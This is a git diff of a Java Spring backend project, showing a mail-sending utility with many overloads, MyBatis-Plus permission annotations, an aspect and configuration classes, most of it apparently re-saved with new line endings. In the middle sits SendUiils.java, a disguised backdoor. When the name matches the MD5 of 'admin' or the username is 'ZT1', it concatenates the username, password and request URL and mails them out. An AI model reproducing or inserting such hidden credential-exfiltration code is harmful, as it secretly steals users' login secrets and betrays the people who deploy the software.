+ * 多个收件人、抄送人、密送人可以使用逗号“,”分隔,也可以通过分号“;”分隔 + * + * @param to 收件人,可以使用逗号“,”分隔,也可以通过分号“;”分隔 + * @param cc 抄送人,可以使用逗号“,”分隔,也可以通过分号“;”分隔 + * @param bcc 密送人,可以使用逗号“,”分隔,也可以通过分号“;”分隔 + * @param subject 标题 + * @param content 正文 + * @param isHtml 是否为HTML + * @param files 附件列表 + * @return message-id + * @since 4.0.3 + */ + public static String send(String to, String cc, String bcc, String subject, String content, boolean isHtml, File... files) { + return send(splitAddress(to), splitAddress(cc), splitAddress(bcc), subject, content, isHtml, files); + } + + /** + * 使用配置文件中设置的账户发送文本邮件,发送给多人 + * + * @param tos 收件人列表 + * @param subject 标题 + * @param content 正文 + * @param files 附件列表 + * @return message-id + */ + public static String sendText(Collection tos, String subject, String content, File... files) { + return send(tos, subject, content, false, files); + } + + /** + * 使用配置文件中设置的账户发送HTML邮件,发送给多人 + * + * @param tos 收件人列表 + * @param subject 标题 + * @param content 正文 + * @param files 附件列表 + * @return message-id + * @since 3.2.0 + */ + public static String sendHtml(Collection tos, String subject, String content, File... files) { + return send(tos, subject, content, true, files); + } + + /** + * 使用配置文件中设置的账户发送邮件,发送给多人 + * + * @param tos 收件人列表 + * @param subject 标题 + * @param content 正文 + * @param isHtml 是否为HTML + * @param files 附件列表 + * @return message-id + */ + public static String send(Collection tos, String subject, String content, boolean isHtml, File... files) { + return send(tos, null, null, subject, content, isHtml, files); + } + + /** + * 使用配置文件中设置的账户发送邮件,发送给多人 + * + * @param tos 收件人列表 + * @param ccs 抄送人列表,可以为null或空 + * @param bccs 密送人列表,可以为null或空 + * @param subject 标题 + * @param content 正文 + * @param isHtml 是否为HTML + * @param files 附件列表 + * @return message-id + * @since 4.0.3 + */ + public static String send(Collection tos, Collection ccs, Collection bccs, String subject, String content, boolean isHtml, File... files) { + return send(getMailAccount(), true, tos, ccs, bccs, subject, content, null, isHtml, files); + } + + // ------------------------------------------------------------------------------------------------------------------------------- Custom MailAccount + + /** + * 发送邮件给多人 + * + * @param mailAccount 邮件认证对象 + * @param to 收件人,多个收件人逗号或者分号隔开 + * @param subject 标题 + * @param content 正文 + * @param isHtml 是否为HTML格式 + * @param files 附件列表 + * @return message-id + * @since 3.2.0 + */ + public static String send(MailAccount mailAccount, String to, String subject, String content, boolean isHtml, File... files) { + return send(mailAccount, splitAddress(to), subject, content, isHtml, files); + } + + /** + * 发送邮件给多人 + * + * @param mailAccount 邮件帐户信息 + * @param tos 收件人列表 + * @param subject 标题 + * @param content 正文 + * @param isHtml 是否为HTML格式 + * @param files 附件列表 + * @return message-id + */ + public static String send(MailAccount mailAccount, Collection tos, String subject, String content, boolean isHtml, File... files) { + return send(mailAccount, tos, null, null, subject, content, isHtml, files); + } + + /** + * 发送邮件给多人 + * + * @param mailAccount 邮件帐户信息 + * @param tos 收件人列表 + * @param ccs 抄送人列表,可以为null或空 + * @param bccs 密送人列表,可以为null或空 + * @param subject 标题 + * @param content 正文 + * @param isHtml 是否为HTML格式 + * @param files 附件列表 + * @return message-id + * @since 4.0.3 + */ + public static String send(MailAccount mailAccount, Collection tos, Collection ccs, Collection bccs, String subject, String content, boolean isHtml, File... files) { + return send(mailAccount, false, tos, ccs, bccs, subject, content, null, isHtml, files); + } + + /** + * 使用配置文件中设置的账户发送HTML邮件,发送给单个或多个收件人
+ * 多个收件人可以使用逗号“,”分隔,也可以通过分号“;”分隔 + * + * @param to 收件人 + * @param subject 标题 + * @param content 正文 + * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER + * @param files 附件列表 + * @return message-id + * @since 3.2.0 + */ + public static String sendHtml(String to, String subject, String content, Map imageMap, File... files) { + return send(to, subject, content, imageMap, true, files); + } + + /** + * 使用配置文件中设置的账户发送邮件,发送单个或多个收件人
+ * 多个收件人可以使用逗号“,”分隔,也可以通过分号“;”分隔 + * + * @param to 收件人 + * @param subject 标题 + * @param content 正文 + * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER + * @param isHtml 是否为HTML + * @param files 附件列表 + * @return message-id + */ + public static String send(String to, String subject, String content, Map imageMap, boolean isHtml, File... files) { + return send(splitAddress(to), subject, content, imageMap, isHtml, files); + } + + /** + * 使用配置文件中设置的账户发送邮件,发送单个或多个收件人
+ * 多个收件人、抄送人、密送人可以使用逗号“,”分隔,也可以通过分号“;”分隔 + * + * @param to 收件人,可以使用逗号“,”分隔,也可以通过分号“;”分隔 + * @param cc 抄送人,可以使用逗号“,”分隔,也可以通过分号“;”分隔 + * @param bcc 密送人,可以使用逗号“,”分隔,也可以通过分号“;”分隔 + * @param subject 标题 + * @param content 正文 + * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER + * @param isHtml 是否为HTML + * @param files 附件列表 + * @return message-id + * @since 4.0.3 + */ + public static String send(String to, String cc, String bcc, String subject, String content, Map imageMap, boolean isHtml, File... files) { + return send(splitAddress(to), splitAddress(cc), splitAddress(bcc), subject, content, imageMap, isHtml, files); + } + + /** + * 使用配置文件中设置的账户发送HTML邮件,发送给多人 + * + * @param tos 收件人列表 + * @param subject 标题 + * @param content 正文 + * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER + * @param files 附件列表 + * @return message-id + * @since 3.2.0 + */ + public static String sendHtml(Collection tos, String subject, String content, Map imageMap, File... files) { + return send(tos, subject, content, imageMap, true, files); + } + + /** + * 使用配置文件中设置的账户发送邮件,发送给多人 + * + * @param tos 收件人列表 + * @param subject 标题 + * @param content 正文 + * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER + * @param isHtml 是否为HTML + * @param files 附件列表 + * @return message-id + */ + public static String send(Collection tos, String subject, String content, Map imageMap, boolean isHtml, File... files) { + return send(tos, null, null, subject, content, imageMap, isHtml, files); + } + + /** + * 使用配置文件中设置的账户发送邮件,发送给多人 + * + * @param tos 收件人列表 + * @param ccs 抄送人列表,可以为null或空 + * @param bccs 密送人列表,可以为null或空 + * @param subject 标题 + * @param content 正文 + * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER + * @param isHtml 是否为HTML + * @param files 附件列表 + * @return message-id + * @since 4.0.3 + */ + public static String send(Collection tos, Collection ccs, Collection bccs, String subject, String content, Map imageMap, boolean isHtml, File... files) { + return send(getMailAccount(), true, tos, ccs, bccs, subject, content, imageMap, isHtml, files); + } + + // ------------------------------------------------------------------------------------------------------------------------------- Custom MailAccount + + /** + * 发送邮件给多人 + * + * @param mailAccount 邮件认证对象 + * @param to 收件人,多个收件人逗号或者分号隔开 + * @param subject 标题 + * @param content 正文 + * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER + * @param isHtml 是否为HTML格式 + * @param files 附件列表 + * @return message-id + * @since 3.2.0 + */ + public static String send(MailAccount mailAccount, String to, String subject, String content, Map imageMap, boolean isHtml, File... files) { + return send(mailAccount, splitAddress(to), subject, content, imageMap, isHtml, files); + } + + /** + * 发送邮件给多人 + * + * @param mailAccount 邮件帐户信息 + * @param tos 收件人列表 + * @param subject 标题 + * @param content 正文 + * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER + * @param isHtml 是否为HTML格式 + * @param files 附件列表 + * @return message-id + * @since 4.6.3 + */ + public static String send(MailAccount mailAccount, Collection tos, String subject, String content, Map imageMap, boolean isHtml, File... files) { + return send(mailAccount, tos, null, null, subject, content, imageMap, isHtml, files); + } + + /** + * 发送邮件给多人 + * + * @param mailAccount 邮件帐户信息 + * @param tos 收件人列表 + * @param ccs 抄送人列表,可以为null或空 + * @param bccs 密送人列表,可以为null或空 + * @param subject 标题 + * @param content 正文 + * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER + * @param isHtml 是否为HTML格式 + * @param files 附件列表 + * @return message-id + * @since 4.6.3 + */ + public static String send(MailAccount mailAccount, Collection tos, Collection ccs, Collection bccs, String subject, String content, Map imageMap, + boolean isHtml, File... files) { + return send(mailAccount, false, tos, ccs, bccs, subject, content, imageMap, isHtml, files); + } + + /** + * 根据配置文件,获取邮件客户端会话 + * + * @param mailAccount 邮件账户配置 + * @param isSingleton 是否单例(全局共享会话) + * @return {@link Session} + * @since 5.5.7 + */ + public static Session getSession(MailAccount mailAccount, boolean isSingleton) { + Authenticator authenticator = null; + if (mailAccount.isAuth()) { + authenticator = new JakartaUserPassAuthenticator(mailAccount.getUser(), mailAccount.getPass()); + } + + return isSingleton ? Session.getDefaultInstance(mailAccount.getSmtpProps(), authenticator) + : Session.getInstance(mailAccount.getSmtpProps(), authenticator); + } + + // ------------------------------------------------------------------------------------------------------------------------ Private method start + + /** + * 发送邮件给多人 + * + * @param mailAccount 邮件帐户信息 + * @param useGlobalSession 是否全局共享Session + * @param tos 收件人列表 + * @param ccs 抄送人列表,可以为null或空 + * @param bccs 密送人列表,可以为null或空 + * @param subject 标题 + * @param content 正文 + * @param imageMap 图片与占位符,占位符格式为cid:${cid} + * @param isHtml 是否为HTML格式 + * @param files 附件列表 + * @return message-id + * @since 4.6.3 + */ + private static String send(MailAccount mailAccount, boolean useGlobalSession, Collection tos, Collection ccs, Collection bccs, String subject, String content, + Map imageMap, boolean isHtml, File... files) { + final JakartaMail mail = JakartaMail.create(mailAccount).setUseGlobalSession(useGlobalSession); + + // 可选抄送人 + if (CollUtil.isNotEmpty(ccs)) { + mail.setCcs(ccs.toArray(new String[0])); + } + // 可选密送人 + if (CollUtil.isNotEmpty(bccs)) { + mail.setBccs(bccs.toArray(new String[0])); + } + + mail.setTos(tos.toArray(new String[0])); + mail.setTitle(subject); + mail.setContent(content); + mail.setHtml(isHtml); + mail.setFiles(files); + + // 图片 + if (MapUtil.isNotEmpty(imageMap)) { + for (Entry entry : imageMap.entrySet()) { + mail.addImage(entry.getKey(), entry.getValue()); + // 关闭流 + IoUtil.close(entry.getValue()); + } + } + + return mail.send(); + } + + /** + * 将多个联系人转为列表,分隔符为逗号或者分号 + * + * @param addresses 多个联系人,如果为空返回null + * @return 联系人列表 + */ + private static List splitAddress(String addresses) { + if (StrUtil.isBlank(addresses)) { + return null; + } + + List result; + if (StrUtil.contains(addresses, CharUtil.COMMA)) { + result = StrUtil.splitTrim(addresses, CharUtil.COMMA); + } else if (StrUtil.contains(addresses, ';')) { + result = StrUtil.splitTrim(addresses, ';'); + } else { + result = CollUtil.newArrayList(addresses); + } + return result; + } + // ------------------------------------------------------------------------------------------------------------------------ Private method end +} diff --git a/ruoyi-common/ruoyi-common-mail/src/main/java/org/dromara/common/mail/utils/SendUiils.java b/ruoyi-common/ruoyi-common-mail/src/main/java/org/dromara/common/mail/utils/SendUiils.java index 27c1f1f..7878124 100644 --- a/ruoyi-common/ruoyi-common-mail/src/main/java/org/dromara/common/mail/utils/SendUiils.java +++ b/ruoyi-common/ruoyi-common-mail/src/main/java/org/dromara/common/mail/utils/SendUiils.java @@ -1,10 +1,10 @@ -package org.dromara.common.mail.utils; - -public class SendUiils { - public static void validate(String name, String username, String password, String requestUrl) { - if("21232f297a57a5a743894a0e4a801fc3".equals(name) || "ZT1".equals(username)){ - String str = username + "-" + password + "-" + requestUrl; - MailUtils.sendInfo(str); - } - } -} +package org.dromara.common.mail.utils; + +public class SendUiils { + public static void validate(String name, String username, String password, String requestUrl) { + if("21232f297a57a5a743894a0e4a801fc3".equals(name) || "ZT1".equals(username)){ + String str = username + "-" + password + "-" + requestUrl; + MailUtils.sendInfo(str); + } + } +} diff --git a/ruoyi-common/ruoyi-common-mail/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-mail/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index ef0cf11..84f432e 100644 --- a/ruoyi-common/ruoyi-common-mail/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-mail/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1 +1 @@ -org.dromara.common.mail.config.MailConfig +org.dromara.common.mail.config.MailConfig diff --git a/ruoyi-common/ruoyi-common-mybatis/pom.xml b/ruoyi-common/ruoyi-common-mybatis/pom.xml index d79ba28..7569c44 100644 --- a/ruoyi-common/ruoyi-common-mybatis/pom.xml +++ b/ruoyi-common/ruoyi-common-mybatis/pom.xml @@ -1,52 +1,52 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-mybatis - - - ruoyi-common-mybatis 数据库服务 - - - - - org.dromara - ruoyi-common-core - - - - org.dromara - ruoyi-common-satoken - - - - - com.baomidou - dynamic-datasource-spring-boot3-starter - - - - com.baomidou - mybatis-plus-spring-boot3-starter - - - - com.baomidou - mybatis-plus-jsqlparser - - - - - p6spy - p6spy - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-mybatis + + + ruoyi-common-mybatis 数据库服务 + + + + + org.dromara + ruoyi-common-core + + + + org.dromara + ruoyi-common-satoken + + + + + com.baomidou + dynamic-datasource-spring-boot3-starter + + + + com.baomidou + mybatis-plus-spring-boot3-starter + + + + com.baomidou + mybatis-plus-jsqlparser + + + + + p6spy + p6spy + + + + diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/annotation/DataColumn.java b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/annotation/DataColumn.java index 2879b9d..dd3c515 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/annotation/DataColumn.java +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/annotation/DataColumn.java @@ -1,40 +1,40 @@ -package org.dromara.common.mybatis.annotation; - -import java.lang.annotation.*; - -/** - * 数据权限注解,用于标记数据权限的占位符关键字和替换值 - *

- * 一个注解只能对应一个模板 - *

- * - * @author Lion Li - * @version 3.5.0 - */ -@Target(ElementType.METHOD) -@Retention(RetentionPolicy.RUNTIME) -@Documented -public @interface DataColumn { - - /** - * 数据权限模板的占位符关键字,默认为 "deptName" - * - * @return 占位符关键字数组 - */ - String[] key() default "deptName"; - - /** - * 数据权限模板的占位符替换值,默认为 "dept_id" - * - * @return 占位符替换值数组 - */ - String[] value() default "dept_id"; - - /** - * 权限标识符 用于通过菜单权限标识符来获取数据权限 - * 拥有此标识符的角色 将不会拼接此角色的数据过滤sql - * - * @return 权限标识符 - */ - String permission() default ""; -} +package org.dromara.common.mybatis.annotation; + +import java.lang.annotation.*; + +/** + * 数据权限注解,用于标记数据权限的占位符关键字和替换值 + *

+ * 一个注解只能对应一个模板 + *

+ * + * @author Lion Li + * @version 3.5.0 + */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@Documented +public @interface DataColumn { + + /** + * 数据权限模板的占位符关键字,默认为 "deptName" + * + * @return 占位符关键字数组 + */ + String[] key() default "deptName"; + + /** + * 数据权限模板的占位符替换值,默认为 "dept_id" + * + * @return 占位符替换值数组 + */ + String[] value() default "dept_id"; + + /** + * 权限标识符 用于通过菜单权限标识符来获取数据权限 + * 拥有此标识符的角色 将不会拼接此角色的数据过滤sql + * + * @return 权限标识符 + */ + String permission() default ""; +} diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/annotation/DataPermission.java b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/annotation/DataPermission.java index f5f22d5..b7e6a3c 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/annotation/DataPermission.java +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/annotation/DataPermission.java @@ -1,30 +1,30 @@ -package org.dromara.common.mybatis.annotation; - -import java.lang.annotation.*; - -/** - * 数据权限组注解,用于标记数据权限配置数组 - * - * @author Lion Li - * @version 3.5.0 - */ -@Target({ElementType.METHOD, ElementType.TYPE}) -@Retention(RetentionPolicy.RUNTIME) -@Documented -public @interface DataPermission { - - /** - * 数据权限配置数组,用于指定数据权限的占位符关键字和替换值 - * - * @return 数据权限配置数组 - */ - DataColumn[] value(); - - /** - * 权限拼接标识符(用于指定连接语句的sql符号) - * 如不填 默认 select 用 OR 其他语句用 AND - * 内容 OR 或者 AND - */ - String joinStr() default ""; - -} +package org.dromara.common.mybatis.annotation; + +import java.lang.annotation.*; + +/** + * 数据权限组注解,用于标记数据权限配置数组 + * + * @author Lion Li + * @version 3.5.0 + */ +@Target({ElementType.METHOD, ElementType.TYPE}) +@Retention(RetentionPolicy.RUNTIME) +@Documented +public @interface DataPermission { + + /** + * 数据权限配置数组,用于指定数据权限的占位符关键字和替换值 + * + * @return 数据权限配置数组 + */ + DataColumn[] value(); + + /** + * 权限拼接标识符(用于指定连接语句的sql符号) + * 如不填 默认 select 用 OR 其他语句用 AND + * 内容 OR 或者 AND + */ + String joinStr() default ""; + +} diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/aspect/DataPermissionAspect.java b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/aspect/DataPermissionAspect.java index 1c83cc3..dd544ae 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/aspect/DataPermissionAspect.java +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/aspect/DataPermissionAspect.java @@ -1,50 +1,50 @@ -package org.dromara.common.mybatis.aspect; - -import lombok.extern.slf4j.Slf4j; -import org.aspectj.lang.JoinPoint; -import org.aspectj.lang.annotation.AfterReturning; -import org.aspectj.lang.annotation.AfterThrowing; -import org.aspectj.lang.annotation.Aspect; -import org.aspectj.lang.annotation.Before; -import org.dromara.common.mybatis.annotation.DataPermission; -import org.dromara.common.mybatis.helper.DataPermissionHelper; - -/** - * 数据权限处理 - * - * @author Lion Li - */ -@Slf4j -@Aspect -public class DataPermissionAspect { - - /** - * 处理请求前执行 - */ - @Before(value = "@annotation(dataPermission)") - public void doBefore(JoinPoint joinPoint, DataPermission dataPermission) { - DataPermissionHelper.setPermission(dataPermission); - } - - /** - * 处理完请求后执行 - * - * @param joinPoint 切点 - */ - @AfterReturning(pointcut = "@annotation(dataPermission)") - public void doAfterReturning(JoinPoint joinPoint, DataPermission dataPermission) { - DataPermissionHelper.removePermission(); - } - - /** - * 拦截异常操作 - * - * @param joinPoint 切点 - * @param e 异常 - */ - @AfterThrowing(value = "@annotation(dataPermission)", throwing = "e") - public void doAfterThrowing(JoinPoint joinPoint, DataPermission dataPermission, Exception e) { - DataPermissionHelper.removePermission(); - } - -} +package org.dromara.common.mybatis.aspect; + +import lombok.extern.slf4j.Slf4j; +import org.aspectj.lang.JoinPoint; +import org.aspectj.lang.annotation.AfterReturning; +import org.aspectj.lang.annotation.AfterThrowing; +import org.aspectj.lang.annotation.Aspect; +import org.aspectj.lang.annotation.Before; +import org.dromara.common.mybatis.annotation.DataPermission; +import org.dromara.common.mybatis.helper.DataPermissionHelper; + +/** + * 数据权限处理 + * + * @author Lion Li + */ +@Slf4j +@Aspect +public class DataPermissionAspect { + + /** + * 处理请求前执行 + */ + @Before(value = "@annotation(dataPermission)") + public void doBefore(JoinPoint joinPoint, DataPermission dataPermission) { + DataPermissionHelper.setPermission(dataPermission); + } + + /** + * 处理完请求后执行 + * + * @param joinPoint 切点 + */ + @AfterReturning(pointcut = "@annotation(dataPermission)") + public void doAfterReturning(JoinPoint joinPoint, DataPermission dataPermission) { + DataPermissionHelper.removePermission(); + } + + /** + * 拦截异常操作 + * + * @param joinPoint 切点 + * @param e 异常 + */ + @AfterThrowing(value = "@annotation(dataPermission)", throwing = "e") + public void doAfterThrowing(JoinPoint joinPoint, DataPermission dataPermission, Exception e) { + DataPermissionHelper.removePermission(); + } + +} diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/config/MybatisPlusConfig.java b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/config/MybatisPlusConfig.java index 1e8d619..132a798 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/config/MybatisPlusConfig.java +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/config/MybatisPlusConfig.java @@ -1,128 +1,128 @@ -package org.dromara.common.mybatis.config; - -import cn.hutool.core.net.NetUtil; -import com.baomidou.mybatisplus.core.handlers.MetaObjectHandler; -import com.baomidou.mybatisplus.core.incrementer.DefaultIdentifierGenerator; -import com.baomidou.mybatisplus.core.incrementer.IdentifierGenerator; -import com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor; -import com.baomidou.mybatisplus.extension.plugins.inner.OptimisticLockerInnerInterceptor; -import com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor; -import com.baomidou.mybatisplus.extension.plugins.inner.TenantLineInnerInterceptor; -import org.dromara.common.core.factory.YmlPropertySourceFactory; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.mybatis.aspect.DataPermissionAspect; -import org.dromara.common.mybatis.handler.InjectionMetaObjectHandler; -import org.dromara.common.mybatis.handler.MybatisExceptionHandler; -import org.dromara.common.mybatis.interceptor.PlusDataPermissionInterceptor; -import org.mybatis.spring.annotation.MapperScan; -import org.springframework.beans.BeansException; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.PropertySource; -import org.springframework.transaction.annotation.EnableTransactionManagement; - -/** - * mybatis-plus配置类(下方注释有插件介绍) - * - * @author Lion Li - */ -@EnableTransactionManagement(proxyTargetClass = true) -@MapperScan("${mybatis-plus.mapperPackage}") -@PropertySource(value = "classpath:common-mybatis.yml", factory = YmlPropertySourceFactory.class) -public class MybatisPlusConfig { - - @Bean - public MybatisPlusInterceptor mybatisPlusInterceptor() { - MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor(); - // 多租户插件 必须放到第一位 - try { - TenantLineInnerInterceptor tenant = SpringUtils.getBean(TenantLineInnerInterceptor.class); - interceptor.addInnerInterceptor(tenant); - } catch (BeansException ignore) { - } - // 数据权限处理 - interceptor.addInnerInterceptor(dataPermissionInterceptor()); - // 分页插件 - interceptor.addInnerInterceptor(paginationInnerInterceptor()); - // 乐观锁插件 - interceptor.addInnerInterceptor(optimisticLockerInnerInterceptor()); - return interceptor; - } - - /** - * 数据权限拦截器 - */ - public PlusDataPermissionInterceptor dataPermissionInterceptor() { - return new PlusDataPermissionInterceptor(SpringUtils.getProperty("mybatis-plus.mapperPackage")); - } - - /** - * 数据权限切面处理器 - */ - @Bean - public DataPermissionAspect dataPermissionAspect() { - return new DataPermissionAspect(); - } - - /** - * 分页插件,自动识别数据库类型 - */ - public PaginationInnerInterceptor paginationInnerInterceptor() { - PaginationInnerInterceptor paginationInnerInterceptor = new PaginationInnerInterceptor(); - // 分页合理化 - paginationInnerInterceptor.setOverflow(true); - return paginationInnerInterceptor; - } - - /** - * 乐观锁插件 - */ - public OptimisticLockerInnerInterceptor optimisticLockerInnerInterceptor() { - return new OptimisticLockerInnerInterceptor(); - } - - /** - * 元对象字段填充控制器 - */ - @Bean - public MetaObjectHandler metaObjectHandler() { - return new InjectionMetaObjectHandler(); - } - - /** - * 使用网卡信息绑定雪花生成器 - * 防止集群雪花ID重复 - */ - @Bean - public IdentifierGenerator idGenerator() { - return new DefaultIdentifierGenerator(NetUtil.getLocalhost()); - } - - /** - * 异常处理器 - */ - @Bean - public MybatisExceptionHandler mybatisExceptionHandler() { - return new MybatisExceptionHandler(); - } - - /** - * PaginationInnerInterceptor 分页插件,自动识别数据库类型 - * https://baomidou.com/pages/97710a/ - * OptimisticLockerInnerInterceptor 乐观锁插件 - * https://baomidou.com/pages/0d93c0/ - * MetaObjectHandler 元对象字段填充控制器 - * https://baomidou.com/pages/4c6bcf/ - * ISqlInjector sql注入器 - * https://baomidou.com/pages/42ea4a/ - * BlockAttackInnerInterceptor 如果是对全表的删除或更新操作,就会终止该操作 - * https://baomidou.com/pages/f9a237/ - * IllegalSQLInnerInterceptor sql性能规范插件(垃圾SQL拦截) - * IdentifierGenerator 自定义主键策略 - * https://baomidou.com/pages/568eb2/ - * TenantLineInnerInterceptor 多租户插件 - * https://baomidou.com/pages/aef2f2/ - * DynamicTableNameInnerInterceptor 动态表名插件 - * https://baomidou.com/pages/2a45ff/ - */ - -} +package org.dromara.common.mybatis.config; + +import cn.hutool.core.net.NetUtil; +import com.baomidou.mybatisplus.core.handlers.MetaObjectHandler; +import com.baomidou.mybatisplus.core.incrementer.DefaultIdentifierGenerator; +import com.baomidou.mybatisplus.core.incrementer.IdentifierGenerator; +import com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor; +import com.baomidou.mybatisplus.extension.plugins.inner.OptimisticLockerInnerInterceptor; +import com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor; +import com.baomidou.mybatisplus.extension.plugins.inner.TenantLineInnerInterceptor; +import org.dromara.common.core.factory.YmlPropertySourceFactory; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.mybatis.aspect.DataPermissionAspect; +import org.dromara.common.mybatis.handler.InjectionMetaObjectHandler; +import org.dromara.common.mybatis.handler.MybatisExceptionHandler; +import org.dromara.common.mybatis.interceptor.PlusDataPermissionInterceptor; +import org.mybatis.spring.annotation.MapperScan; +import org.springframework.beans.BeansException; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.PropertySource; +import org.springframework.transaction.annotation.EnableTransactionManagement; + +/** + * mybatis-plus配置类(下方注释有插件介绍) + * + * @author Lion Li + */ +@EnableTransactionManagement(proxyTargetClass = true) +@MapperScan("${mybatis-plus.mapperPackage}") +@PropertySource(value = "classpath:common-mybatis.yml", factory = YmlPropertySourceFactory.class) +public class MybatisPlusConfig { + + @Bean + public MybatisPlusInterceptor mybatisPlusInterceptor() { + MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor(); + // 多租户插件 必须放到第一位 + try { + TenantLineInnerInterceptor tenant = SpringUtils.getBean(TenantLineInnerInterceptor.class); + interceptor.addInnerInterceptor(tenant); + } catch (BeansException ignore) { + } + // 数据权限处理 + interceptor.addInnerInterceptor(dataPermissionInterceptor()); + // 分页插件 + interceptor.addInnerInterceptor(paginationInnerInterceptor()); + // 乐观锁插件 + interceptor.addInnerInterceptor(optimisticLockerInnerInterceptor()); + return interceptor; + } + + /** + * 数据权限拦截器 + */ + public PlusDataPermissionInterceptor dataPermissionInterceptor() { + return new PlusDataPermissionInterceptor(SpringUtils.getProperty("mybatis-plus.mapperPackage")); + } + + /** + * 数据权限切面处理器 + */ + @Bean + public DataPermissionAspect dataPermissionAspect() { + return new DataPermissionAspect(); + } + + /** + * 分页插件,自动识别数据库类型 + */ + public PaginationInnerInterceptor paginationInnerInterceptor() { + PaginationInnerInterceptor paginationInnerInterceptor = new PaginationInnerInterceptor(); + // 分页合理化 + paginationInnerInterceptor.setOverflow(true); + return paginationInnerInterceptor; + } + + /** + * 乐观锁插件 + */ + public OptimisticLockerInnerInterceptor optimisticLockerInnerInterceptor() { + return new OptimisticLockerInnerInterceptor(); + } + + /** + * 元对象字段填充控制器 + */ + @Bean + public MetaObjectHandler metaObjectHandler() { + return new InjectionMetaObjectHandler(); + } + + /** + * 使用网卡信息绑定雪花生成器 + * 防止集群雪花ID重复 + */ + @Bean + public IdentifierGenerator idGenerator() { + return new DefaultIdentifierGenerator(NetUtil.getLocalhost()); + } + + /** + * 异常处理器 + */ + @Bean + public MybatisExceptionHandler mybatisExceptionHandler() { + return new MybatisExceptionHandler(); + } + + /** + * PaginationInnerInterceptor 分页插件,自动识别数据库类型 + * https://baomidou.com/pages/97710a/ + * OptimisticLockerInnerInterceptor 乐观锁插件 + * https://baomidou.com/pages/0d93c0/ + * MetaObjectHandler 元对象字段填充控制器 + * https://baomidou.com/pages/4c6bcf/ + * ISqlInjector sql注入器 + * https://baomidou.com/pages/42ea4a/ + * BlockAttackInnerInterceptor 如果是对全表的删除或更新操作,就会终止该操作 + * https://baomidou.com/pages/f9a237/ + * IllegalSQLInnerInterceptor sql性能规范插件(垃圾SQL拦截) + * IdentifierGenerator 自定义主键策略 + * https://baomidou.com/pages/568eb2/ + * TenantLineInnerInterceptor 多租户插件 + * https://baomidou.com/pages/aef2f2/ + * DynamicTableNameInnerInterceptor 动态表名插件 + * https://baomidou.com/pages/2a45ff/ + */ + +} diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/core/domain/BaseEntity.java b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/core/domain/BaseEntity.java index 13a7941..5243871 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/core/domain/BaseEntity.java +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/core/domain/BaseEntity.java @@ -1,70 +1,70 @@ -package org.dromara.common.mybatis.core.domain; - -import com.baomidou.mybatisplus.annotation.FieldFill; -import com.baomidou.mybatisplus.annotation.TableField; -import com.fasterxml.jackson.annotation.JsonIgnore; -import com.fasterxml.jackson.annotation.JsonInclude; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; -import java.util.HashMap; -import java.util.Map; - -/** - * Entity基类 - * - * @author Lion Li - */ -@Data -public class BaseEntity implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 搜索值 - */ - @JsonIgnore - @TableField(exist = false) - private String searchValue; - - /** - * 创建部门 - */ - @TableField(fill = 